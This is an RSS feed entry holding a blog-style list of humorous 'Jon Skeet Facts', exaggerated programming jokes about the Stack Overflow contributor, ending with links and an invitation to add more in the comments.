<li>There are two types of programmers: good programmers, and those who are not Jon Skeet.</li>
<li>When Jon Skeet points to null, null quakes in fear.</li>
<li>Jon Skeet is the traveling salesman. Only he knows the shortest route.</li>
<li>Jon Skeet took the red pill and the blue pill, and can phase-shift in and out of the Matrix at will.</li>
<li>When Jon pushes a value onto a stack, it stays pushed.</li>
<li>When invoking one of Jon’s callbacks, the runtime adds “please”.</li>
<li>Drivers think twice before they dare interrupt Jon’s code.</li>
<li>Jon Skeet does not sleep…. He waits.</li>
<li>Jon Skeet does not recognize anonymous types in .NET .. he knows everyone of them and where they live.</li>
<li>Jon Skeet doesn’t answer questions on SO.. he stares them down till they answer themselves.</li>
<li>Jon Skeet can stop an infinite loop just by thinking about it.</li>
<li>Jon Skeet doesn’t need a debugger, he just stares down the bug until the code confesses.</li>
<li>There is no ‘CTRL’ button on Jon Skeet’s computer. Jon Skeet is always in control.</li>
<li>Jon Skeet won the “Hello World in less than 20 bytes” contest by developing a single byte program.</li>
<li>Jon Skeet does not resolve software problems. The problems resolve themselves the moment he walks into the office.</li>
<li>Jon Skeet can answer a question well before it is asked and then get several up-votes whilst he has yet to finish typing the solution.</li>
<li>The Jon Skeet badge is awarded for posting a better answer than Jon Skeet. Only Jon Skeet can earn this badge.</li>
<li>God said: ‘Let there be light,’ only so he could see what Jon Skeet was up to.</li>
<li>Jon Skeet’s keyboard doesn’t have F1 key, the computer asks for help from him.</li>
<li>When Jon Skeet presses <strong>Ctrl+Alt+Delete</strong>, a worldwide computer restart is initiated. The same goes for <em>format.</em></li>
<li>Jon Skeet uses Visual Studio to burn CDs.</li>
<li>Jon Skeet is not close to perfection, perfection is close to Jon Skeet.</li>
<li>God didn’t really create the world in six days, because Jon Skeet optimized it to one.</li>
<li>Jon Skeet dreams in ones and zeros. When two shows up, it is a nightmare. But again that’s only in theory. Two doesn’t exist for Jon.</li>
<li>Seventh normal form (7NF) for database normalization is Jon Skeet.</li>
<li>When Jon Skeet solves an equation, the variables become constants.</li>
<li>If anyone writes <strong><em>delete JonSkeet;</em></strong> in C, the Apocalypse will come.</li>
<li>Once Jon Skeet went to the library… Since then the library was dynamically linked.</li>
<li>Jon Skeet has the key to Open Source. He just doesn’t want to close it.</li>
<li>Compatibility doesn’t exist in Jon Skeet’s dictionary. He can easily work in Microsoft Office in Linux on a Mac.</li>
<li>When Jon Skeet is programming, the Garbage Collector rests. The objects know when to destroy themselves.</li>
<li>If the Internet is the web, then Jon Skeet is the spider.</li>
<li>When Jon Skeet is on a diet and doesn’t eat fast food, all hard disks change from <strong>FAT</strong> to <strong>NTFS.</strong></li>
<li>Jon Skeet has written the best programming language. Its source has just one command… <strong>void JonSkeet();</strong></li>
<li>Jon Skeet doesn’t use <a target="_blank" href="https://twitter.com/search?q=%23include"><strong>#include</strong></a><strong>.</strong> He thinks of it as cheating.</li>
<li>When a null reference exception goes to sleep, it checks under the bed for Jon Skeet.</li>
<li>Jon Skeet doesn’t need delegates, he does all the work himself.</li>
<li>Jon Skeet doesn’t call a background worker, background workers call Jon Skeet.</li>
<li>Jon Skeet doesn’t write books, the words assemble themselves out of fear.</li>
<li>When Jon Skeet throws an exception, nothing can catch it.</li>
<li>.NET uses Just-In-Time compilation because every instruction must first be approved by Jon Skeet.</li>
<li>Jon Skeet is beyond Turing-complete; he is Turing-invincible.</li>
<li>There is simply no Halting Problem within a 10-meter radius of John Skeet, because computers ALWAYS halt in his presence.</li>
<li>Jon Skeet doesn’t look for reputation. Reputation looks for Jon Skeet.</li>
<li>Jon Skeet can do pair programming with himself.</li>
<li>When Jon installed Visual Studio he opted not to install the debugger.</li>
<li>When Jon saves a file, the file thanks him.</li>
<li>Jon Skeet is immutable. If something’s going to change, it’s going to have to be the rest of the universe.</li>
<li>Jon Skeet’s addition operator doesn’t commute; it teleports to where he needs it to be.</li>
<li>Anonymous methods and anonymous types are really all called Jon Skeet. They just don’t like to boast.</li>
<li>Jon Skeet doesn’t have performance bottlenecks. He just makes the universe wait its turn.</li>
<li>Jeff Atwood bought a monster GPU just to calculate John Skeet’s rep on Stack Overflow. CPUs don’t cut it anymore.</li>
<li>When John Skeet does a search on Google.. the only result is “I’ll be right back”.</li>
<li>John Skeet returned <strong>IntelliSense</strong> and got his money back!</li>
<li>Norman Bates lives a normal life today… John Skeet fixed the unwanted callbacks and rewrote Mother.Dispose().</li>
<li>When John Skeet presses F5, the Garbage collector collects itself.. there is no other garbage.</li>
<li>Jon Skeet once wrote an entire operating system in his sleep on a Treo with no battery, powered only by the force of his will.</li>
<li>The only time Jon Skeet was wrong was when he thought he had made a mistake.</li>
<li>If you have 10000 reputation points and Jon Skeet has 10000 reputation points, Jon Skeet has more reputation than you.</li>
<li>Jon Skeet does not run his programs. He just whispers “you better run”. And it runs.</li>
<li>Jon Skeet was once second in rank, behind Jon Skeet.</li>
<li>Jon Skeet codes only with final sealed methods. No one has ever needed to override any of Jon Skeet’s code.</li>
<li>Jon Skeet is <strong>IntelliSense.</strong></li>
<li>Jon Skeet’s heart rate is 5 GHz.</li>
<li>.NET Jon Skeet Special Edition has an improved implementation of JIT compilation, called ‘Just-In-Case’ compilation.</li>
<li>Private methods in other libraries become public automatically once required in Jon Skeet’s code.</li>
<li>When Yoda needs advice, he calls Jon Skeet.</li>
<li>Only Jon Skeet earned the coveted <strong>“Jon Skeet”</strong> badge.</li>
<li><strong>Skeeted:</strong> The act of attempting to answer a Stack Overflow question only to find out that Jon Skeet has already answered it definitively and better than you would have ever done.</li>
<li>If Jon Skeet posts a duplicate question on StackOverflow, <strong>the original question will be closed as a duplicate</strong>.</li>
</ol>
<p><strong>Jon Skeet’s Facts</strong> are on <a target="_blank" href="http://stackoverflow.com/">StackOverflow</a>. We also have the <a target="_blank" href="https://www.quora.com/What-are-all-the-Jeff-Dean-facts"><strong>Jeff Dean Facts on Quora</strong></a>. If you love this post, please click the recommend button so that others can discover &amp; laugh their ass off.</p>
<p>Let me know which of the statements got your brain memory in a <strong><em>Stack Overflow of Laughter</em></strong> and also add your own <strong>Jon Skeet Facts</strong> in the comments section!</p>
 ]]>
                </content:encoded>
            </item>
        
    </channel>
</rss>
